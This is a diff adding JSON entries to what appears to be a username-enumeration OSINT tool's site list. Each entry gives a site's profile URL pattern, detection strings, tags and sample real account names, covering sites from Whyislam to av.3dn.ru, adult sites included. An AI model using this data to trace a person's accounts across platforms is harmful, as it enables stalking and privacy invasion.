"Whyislam": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 905247, + "urlMain": "https://www.whyislam.to", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "WicgForum": { + "checkType": "message", + "regexCheck": "^(?![.-])[a-zA-Z0-9_.-]{3,20}$", + "absenceStrs": [ + "<title>WICG" + ], + "presenseStrs": [ + " Profile -" + ], + "url": "https://discourse.wicg.io/u/{username}/summary", + "usernameClaimed": "stefano", + "usernameUnclaimed": "noonewouldusethis7" + }, + "Wiki.vg": { + "checkType": "status_code", + "url": "https://wiki.vg/User:{username}", + "usernameClaimed": "Auri", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Wikidot": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "User does not exist." + ], + "presenseStrs": [ + "Wikidot user since" + ], + "alexaRank": 3805, + "urlMain": "http://www.wikidot.com/", + "url": "http://www.wikidot.com/user:info/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "WikimapiaProfile": { + "tags": [ + "maps", + "ru" + ], + "type": "wikimapia_uid", + "checkType": "message", + "absenceStrs": [ + "January 01, 1970" + ], + "alexaRank": 8581, + "urlMain": "http://wikimapia.org", + "url": "http://wikimapia.org/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "WikimapiaSearch": { + "tags": [ + "maps", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "<td>20</td>" + ], + "alexaRank": 8581, + "urlMain": "http://wikimapia.org", + "url": "http://wikimapia.org/user/tools/users_rating/?username={username}", + "caseSentitive": true, + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "Wikipedia": { + "tags": [ + "wiki" + ], + "checkType": "message", + "absenceStrs": [ + "is not registered", + "Wikipedia does not have a" + ], + "alexaRank": 12, + "urlMain": "https://www.wikipedia.org/", + "url": "https://www.wikipedia.org/wiki/User:{username}", + "usernameClaimed": "Hoadlck", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "WimkinPublicProfile": { + "checkType": "message", + "absenceStrs": [ + " The page you are looking for cannot be found." + ], + "presenseStrs": [ + "is on WIMKIN" + ], + "url": "https://wimkin.com/{username}", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldusethis7" + }, + "Winamp": { + "disabled": true, + "tags": [ + "forum", + "us" + ], + "engine": "vBulletin", + "alexaRank": 52948, + "urlMain": "http://forums.winamp.com", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Windows10forums": { + "tags": [ + "forum", + "in", + "us" + ], + "engine": "XenForo", + "alexaRank": 197218, + "urlMain": "https://www.windows10forums.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Windowsforum": { + "tags": [ + "forum", + "in", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 266446, + "urlMain": "https://windowsforum.com", + "url": "https://windowsforum.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Windy": { + "disabled": true, + "tags": [ + "in", + "jp", + "kr", + "pl", + "us" + ], + "checkType": "status_code", + "alexaRank": 2201, + "urlMain": "https://windy.com/", + "url": "https://community.windy.com/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Wireclub": { + "tags": [ + "in", + "tr", + "us" + ], + "checkType": "response_url", + "alexaRank": 484535, + "urlMain": "https://www.wireclub.com", + "url": "https://www.wireclub.com/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "WiredNewYork": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "in", + "pk", + "us" + ], + "errors": { + "Wired New York forum maintenance": "Site maintenance" + }, + "engine": "vBulletin", + "alexaRank": 1747505, + "urlMain": "http://wirednewyork.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Wishlistr": { + "tags": [ + "in", + "se" + ], + "checkType": "response_url", + "alexaRank": 27978, + "urlMain": "https://www.wishlistr.com", + "url": "https://www.wishlistr.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Wittyprofiles": { + "tags": [ + "in" + ], + "checkType": "message", + "absenceStrs": [ + "It looks like you are looking for something that isn't here." + ], + "alexaRank": 1736838, + "urlMain": "http://www.wittyprofiles.com/", + "url": "http://www.wittyprofiles.com/author/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Wix": { + "tags": [ + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 186, + "urlMain": "https://wix.com/", + "url": "https://{username}.wix.com", + "usernameClaimed": "support", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "WolniSlowianie": { + "checkType": "message", + "absenceStrs": [ + "Nie znaleziono strony, kt\u00f3rej szukasz." + ], + "presenseStrs": [ + "O\u015b czasu" + ], + "url": "https://wolnislowianie.pl/{username}", + "usernameClaimed": "janek", + "usernameUnclaimed": "noonewouldusethis7" + }, + "Wolpy": { + "tags": [ + "travel" + ], + "checkType": "status_code", + "alexaRank": 107661, + "urlMain": "http://wolpy.com", + "url": "http://wolpy.com/{username}/profile", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Wordnik": { + "checkType": "message", + "absenceStrs": [ + "Wordnik: Page Not Found" + ], + "presenseStrs": [ + "Welcome," + ], + "url": "https://www.wordnik.com/users/{username}", + "usernameClaimed": "elle", + "usernameUnclaimed": "noonewouldusethis7" + }, + "WordPress": { + "tags": [ + "blog" + ], + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "checkType": "response_url", + "alexaRank": 53, + "urlMain": "https://wordpress.com", + "url": "https://{username}.wordpress.com/", + "errorUrl": "wordpress.com/typo/?subdomain=", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "WordPressOrg": { + "tags": [ + "in" + ], + "checkType": "response_url", + "alexaRank": 368, + "urlMain": "https://wordpress.org/", + "url": "https://profiles.wordpress.org/{username}/", + "errorUrl": "https://wordpress.org", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "WordpressSupport": { + "checkType": "message", + "absenceStrs": [ + "User not found" + ], + "presenseStrs": [ + "s Profile | WordPress.org" + ], + "url": "https://wordpress.org/support/users/{username}/", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldusethis7" + }, + "Worldofplayers": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 436032, + "urlMain": "https://worldofplayers.ru", + "usernameClaimed": "zern", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "WorlfOfTanksForum": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d" + ], + "alexaRank": 2410869, + "urlMain": "https://forum.wotanks.com", + "url": "https://forum.wotanks.com/member.php/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Wot-game": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 2727598, + "urlMain": "https://wot-game.com", + "url": "https://wot-game.com/user/{username}/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Wowhead": { + "tags": [ + "gaming", + "us" + ], + "checkType": "status_code", + "urlMain": "https://www.wowhead.com", + "url": "https://www.wowhead.com/user={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 1325 + }, + "Writercenter": { + "tags": [ + "ru", + "ua" + ], + "checkType": "status_code", + "urlMain": "https://writercenter.ru", + "url": "https://writercenter.ru/profile/{username}/", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 989583 + }, + "Wuz": { + "disabled": true, + "ignore403": true, + "tags": [ + "by", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "urlMain": "http://wuz.by", + "url": "http://wuz.by/forum/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 2848353 + }, + "Wykop": { + "tags": [ + "pl" + ], + "checkType": "message", + "alexaRank": 2559, + "presenseStrs": [ + "Aktywno\u015b\u0107 u\u017cytkownika" + ], + "urlMain": "https://www.wykop.pl", + "url": "https://www.wykop.pl/ludzie/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Xanga": { + "checkType": "message", + "absenceStrs": [ + "Xanga 2.0 is Here!" + ], + "presenseStrs": [ + "s Xanga Site | Just" + ], + "url": "https://{username}.xanga.com/", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldusethis7" + }, + "XDA": { + "disabled": true, + "tags": [ + "apps", + "forum" + ], + "errors": { + "<title>Attention Required! | Cloudflare": "Cloudflare security protection detected" + }, + "engine": "vBulletin", + "alexaRank": 3291, + "urlMain": "https://forum.xda-developers.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "XXXForum.org": { + "disabled": true, + "tags": [ + "erotic", + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "urlMain": "https://xxxforum.org", + "url": "https://xxxforum.org/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "tangar", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Xbox Gamertag": { + "tags": [ + "us" + ], + "errors": { + "Something went wrong": "Site error", + "Why do I have to complete a CAPTCHA": "Captcha detected" + }, + "checkType": "status_code", + "alexaRank": 692675, + "urlMain": "https://xboxgamertag.com/", + "url": "https://xboxgamertag.com/search/{username}", + "usernameClaimed": "smrnov", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Xing": { + "tags": [ + "de", + "eu" + ], + "errors": { + "/assets/login-frontend/login-frontend": "Login required" + }, + "checkType": "status_code", + "alexaRank": 2314, + "urlMain": "https://www.xing.com/", + "url": "https://www.xing.com/profile/{username}", + "usernameClaimed": "Ivan_Ivanov", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Xvideos": { + "tags": [ + "porn", + "us" + ], + "checkType": "status_code", + "alexaRank": 107, + "urlMain": "https://xvideos.com/", + "url": "https://xvideos.com/profiles/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "XvideosModels": { + "checkType": "message", + "absenceStrs": [ + "THIS PROFILE DOESN'T EXIST" + ], + "presenseStrs": [ + "Total video views" + ], + "url": "https://www.xvideos.com/models/{username}", + "usernameClaimed": "tiffany-tyler", + "usernameUnclaimed": "noonewouldusethis7" + }, + "Ya-uchitel": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 167839, + "urlMain": "https://ya-uchitel.ru/", + "usernameClaimed": "Vesna", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "YaPishu.net": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "presenseStrs": [ + "for_profile" + ], + "alexaRank": 332628, + "urlMain": "https://yapishu.net", + "url": "https://yapishu.net/user/{username}", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Yalta-info": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "urlMain": "http://www.yalta-info.net", + "url": "http://www.yalta-info.net/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "%D0%96%D1%83%D0%BA%D0%BE%D0%B2", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "YandexReviews": { + "tags": [ + "ru" + ], + "type": "yandex_public_id", + "headers": { + "user-agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36" + }, + "checkType": "message", + "presenseStrs": [ + "content=\"\u041e\u0442\u0437\u044b\u0432\u044b \u0438 \u043e\u0446\u0435\u043d\u043a\u0438" + ], + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441\u043a\u0440\u044b\u043b \u0441\u0432\u043e\u044e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u0443\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443" + ], + "alexaRank": 50, + "urlMain": "https://yandex.ru/", + "url": "https://reviews.yandex.ru/user/{username}", + "source": "Yandex", + "usernameClaimed": "20vpvmmwpnwyb0dpbnjvy3k14c", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "YandexBugbounty": { + "tags": [ + "hacking", + "ru" + ], + "checkType": "status_code", + "alexaRank": 50, + "urlMain": "https://yandex.ru/bugbounty/", + "url": "https://yandex.ru/bugbounty/researchers/{username}/", + "source": "Yandex", + "usernameClaimed": "pyrk1", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "YandexCollections API": { + "tags": [ + "ru", + "sharing" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36" + }, + "errors": { + "action=\"/checkcaptcha\" onsubmit": "Captcha detected, use proxy/vpn" + }, + "checkType": "message", + "presenseStrs": [ + "public_id" + ], + "absenceStrs": [ + "cl-not-found-content__title" + ], + "alexaRank": 34, + "urlMain": "https://yandex.ru/collections/", + "url": "https://yandex.ru/collections/api/users/{username}/", + "source": "Yandex", + "usernameClaimed": "yandex", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "YandexCollections API (by yandex_public_id)": { + "tags": [ + "ru", + "sharing" + ], + "type": "yandex_public_id", + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36" + }, + "errors": { + "action=\"/checkcaptcha\" onsubmit": "Captcha detected, use proxy/vpn" + }, + "checkType": "message", + "presenseStrs": [ + "public_id" + ], + "absenceStrs": [ + "cl-not-found-content__title" + ], + "alexaRank": 50, + "urlMain": "https://yandex.ru/collections/", + "url": "https://yandex.ru/collections/api/users/{username}/", + "source": "Yandex", + "usernameClaimed": "hx0aur0arkyebkxztq8pr8b4dg", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "YandexMarket": { + "tags": [ + "ru" + ], + "type": "yandex_public_id", + "checkType": "message", + "absenceStrs": [ + "//yastatic.net/market-export/_/i/zero-state/404.svg" + ], + "alexaRank": 50, + "urlMain": "https://market.yandex.ru/", + "url": "https://market.yandex.ru/user/{username}", + "source": "Yandex", + "usernameClaimed": "6j2uh4rhp5d9gqgbynaqy2p75m", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "YandexMusic": { + "tags": [ + "music", + "ru" + ], + "ignore403": true, + "headers": { + "Referer": "https://music.yandex.ru/users/test/playlists" + }, + "checkType": "status_code", + "alexaRank": 50, + "urlMain": "https://music.yandex.ru/", + "url": "https://music.yandex.ru/users/{username}/playlists", + "source": "Yandex", + "usernameClaimed": "YandexMusic", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "Soberu": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "urlMain": "https://yasobe.ru", + "url": "https://yasobe.ru/na/{username}", + "usernameClaimed": "snoop_project", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 10489582, + "disabled": true + }, + "YandexZnatoki": { + "tags": [ + "ru" + ], + "type": "yandex_public_id", + "checkType": "status_code", + "alexaRank": 50, + "urlMain": "https://yandex.ru/q/", + "url": "https://yandex.ru/q/profile/{username}", + "source": "Yandex", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "YandexZenChannel": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + ".zen-ui-page-404" + ], + "presenseStrs": [ + "zen_object_id" + ], + "alexaRank": 50, + "urlMain": "https://dzen.ru", + "url": "https://dzen.ru/channel/{username}", + "headers": { + "Cookie": "Session_id=noauth:1; yandex_login=; ys=c_chck.1; mda2_beacon=1; sso_status=sso.passport.yandex.ru:synchronized; _yasc=1; _ym_uid=1; _ym_d=1; _ym_isad=2; yandexuid=1" + }, + "source": "Yandex", + "usernameClaimed": "tema", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "YandexZenUser": { + "tags": [ + "ru" + ], + "type": "yandex_public_id", + "checkType": "status_code", + "alexaRank": 50, + "urlMain": "https://zen.yandex.ru", + "url": "https://zen.yandex.ru/user/{username}", + "source": "Yandex", + "usernameClaimed": "20vpvmmwpnwyb0dpbnjvy3k14c", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "Yapisal": { + "tags": [ + "forum", + "tr" + ], + "checkType": "message", + "absenceStrs": [ + "\"error_type\":\"not_found\"" + ], + "presenseStrs": [ + "\"user\":{\"id\":" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0" + }, + "alexaRank": 2925378, + "urlProbe": "{urlMain}/u/{username}.json", + "urlMain": "https://forum.yapisal.net", + "url": "{urlMain}/u/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Yazbel": { + "tags": [ + "forum" + ], + "checkType": "status_code", + "url": "https://forum.yazbel.com/u/{username}/summary", + "usernameClaimed": "abdullah189", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "YouNow": { + "tags": [ + "be", + "us" + ], + "urlProbe": "https://api.younow.com/php/api/broadcast/info/user={username}/", + "checkType": "message", + "absenceStrs": [ + "No users found" + ], + "alexaRank": 25470, + "urlMain": "https://www.younow.com/", + "url": "https://www.younow.com/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "YouPic": { + "tags": [ + "photo" + ], + "checkType": "status_code", + "alexaRank": 42331, + "urlMain": "https://youpic.com/", + "url": "https://youpic.com/photographer/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "YouPorn": { + "tags": [ + "porn", + "us" + ], + "checkType": "message", + "presenseStrs": [ + "Videos uploaded by" + ], + "absenceStrs": [ + "BUT CAN'T FIND WHAT YOU'RE LOOKING FOR." + ], + "alexaRank": 663, + "urlMain": "https://youporn.com", + "url": "https://youporn.com/uservids/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "YouTube": { + "tags": [ + "video" + ], + "headers": { + "User-Agent": "curl/8.6.0", + "Accept": "*/*" + }, + "regexCheck": "^[^\\/]+$", + "checkType": "message", + "presenseStrs": [ + "visitorData", + "userAgent" + ], + "absenceStrs": [ + "404 Not Found" + ], + "alexaRank": 2, + "urlMain": "https://www.youtube.com/", + "url": "https://www.youtube.com/@{username}", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "YouTube User": { + "tags": [ + "video" + ], + "headers": { + "User-Agent": "curl/8.6.0", + "Accept": "*/*" + }, + "regexCheck": "^[^\\/]+$", + "checkType": "message", + "presenseStrs": [ + "visitorData", + "userAgent" + ], + "absenceStrs": [ + "404 Not Found" + ], + "alexaRank": 2, + "urlMain": "https://www.youtube.com/", + "url": "https://www.youtube.com/@{username}", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "Yummly": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "profileName" + ], + "alexaRank": 8249, + "urlMain": "https://www.yummly.com", + "url": "https://mapi.yummly.com/mapi/v19/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Zagony": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441 \u0442\u0430\u043a\u0438\u043c \u0438\u043c\u0435\u043d\u0435\u043c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d." + ], + "alexaRank": 72861, + "urlMain": "https://zagony.ru", + "url": "https://zagony.ru/user/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Zapravdu": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 3826988, + "urlMain": "http://zapravdu.ru/", + "url": "http://zapravdu.ru/forum/search.php?author={username}", + "usernameClaimed": "ccsr", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Zatrybi.pl": { + "checkType": "message", + "absenceStrs": [ + "Nie znaleziono strony" + ], + "presenseStrs": [ + "Zarejestrowany od:" + ], + "url": "https://zatrybi.pl/user/{username}", + "usernameClaimed": "fenrek", + "usernameUnclaimed": "noonewouldusethis7" + }, + "Zbiornik.com": { + "checkType": "message", + "absenceStrs": [ + "Szukaj" + ], + "presenseStrs": [ + "INFO" + ], + "url": "https://mini.zbiornik.com/{username}", + "usernameClaimed": "Soif", + "usernameUnclaimed": "noonewouldusethis7" + }, + "Zenitbol": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 6746731, + "urlMain": "http://zenitbol.ru", + "usernameClaimed": "vera", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Zhihu": { + "tags": [ + "cn" + ], + "checkType": "message", + "alexaRank": 139, + "urlMain": "https://www.zhihu.com/", + "url": "https://www.zhihu.com/people/{username}", + "absenceStrs": [ + "\u7528\u6237\u4e0d\u5b58\u5728" + ], + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Zhyk": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 449117, + "urlMain": "https://zhyk.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Zmarsa.com": { + "checkType": "message", + "absenceStrs": [ + "B\u0142\u0105d na stronie" + ], + "presenseStrs": [ + "Galeria u\u017cytkownika" + ], + "url": "https://zmarsa.com/uzytkownik/{username}/glowna/", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldusethis7" + }, + "Zmey": { + "tags": [ + "forum", + "sport" + ], + "checkType": "response_url", + "urlMain": "https://zmey.ru", + "url": "https://zmey.ru/user/@{username}", + "usernameClaimed": "alec", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 6863219 + }, + "Zomato": { + "tags": [ + "geosocial", + "in" + ], + "headers": { + "Accept-Language": "en-US,en;q=0.9" + }, + "checkType": "status_code", + "alexaRank": 1300, + "urlMain": "https://www.zomato.com/", + "url": "https://www.zomato.com/pl/{username}/foodjourney", + "usernameClaimed": "deepigoyal", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "afsoc.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://afsoc.ucoz.ru", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "akniga": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 18723, + "urlMain": "https://akniga.org/", + "url": "https://akniga.org/profile/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "aliensoup.com": { + "engine": "XenForo", + "alexaRank": 1870623, + "urlMain": "https://aliensoup.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "allgaz": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 753089, + "urlMain": "https://forum.allgaz.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "alliedmods": { + "tags": [ + "forum", + "gb", + "in", + "jp", + "tr", + "us", + "uz" + ], + "engine": "vBulletin", + "alexaRank": 39020, + "urlMain": "https://forums.alliedmods.net/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "allmylinks": { + "tags": [ + "links" + ], + "checkType": "message", + "absenceStrs": [ + "Page not found" + ], + "alexaRank": 15293, + "urlMain": "https://allmylinks.com/", + "url": "https://allmylinks.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "alpanf.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://alpanf.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "amax-sb.ru": { + "engine": "uCoz", + "alexaRank": 7441128, + "urlMain": "http://amax-sb.ru", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "aminoapp": { + "tags": [ + "br", + "us" + ], + "checkType": "status_code", + "alexaRank": 3178, + "urlMain": "https://aminoapps.com/", + "url": "https://aminoapps.com/u/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis77777", + "disabled": true + }, + "analitika-forex.ru": { + "engine": "uCoz", + "alexaRank": 5995985, + "urlMain": "http://analitika-forex.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "andrei.moy.su": { + "engine": "uCoz", + "urlMain": "http://andrei.moy.su", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "antalya.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://antalya.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 12622701 + }, + "antihack.ucoz.net": { + "engine": "uCoz", + "urlMain": "http://antihack.ucoz.net", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "antivirus.moy.su": { + "engine": "uCoz", + "urlMain": "http://antivirus.moy.su", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "antizombie.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://antizombie.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "movies", + "ru" + ] + }, + "army-rus.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://army-rus.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 12825102 + }, + "armyboots.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://armyboots.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "artinvestment": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 195417, + "urlMain": "https://forum.artinvestment.ru/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "asecurity.do.am": { + "engine": "uCoz", + "urlMain": "http://asecurity.do.am", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "atm-club.moy.su": { + "engine": "uCoz", + "urlMain": "http://atm-club.moy.su", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "australianfrequentflyer.com.au": { + "tags": [ + "au", + "forum" + ], + "engine": "XenForo", + "alexaRank": 257819, + "urlMain": "https://www.australianfrequentflyer.com.au/community/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "author.today": { + "tags": [ + "reading", + "ru" + ], + "checkType": "status_code", + "alexaRank": 12218, + "urlMain": "https://author.today", + "url": "https://author.today/u/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "authorSTREAM": { + "tags": [ + "documents", + "in", + "sharing" + ], + "checkType": "status_code", + "alexaRank": 6034, + "urlMain": "http://www.authorstream.com/", + "url": "http://www.authorstream.com/author/{username}/", + "usernameClaimed": "roxanne", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "autotob.ru": { + "engine": "uCoz", + "urlMain": "http://autotob.ru", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 1156235 + }, + "av.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://av.3dn.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 9097927 + }, 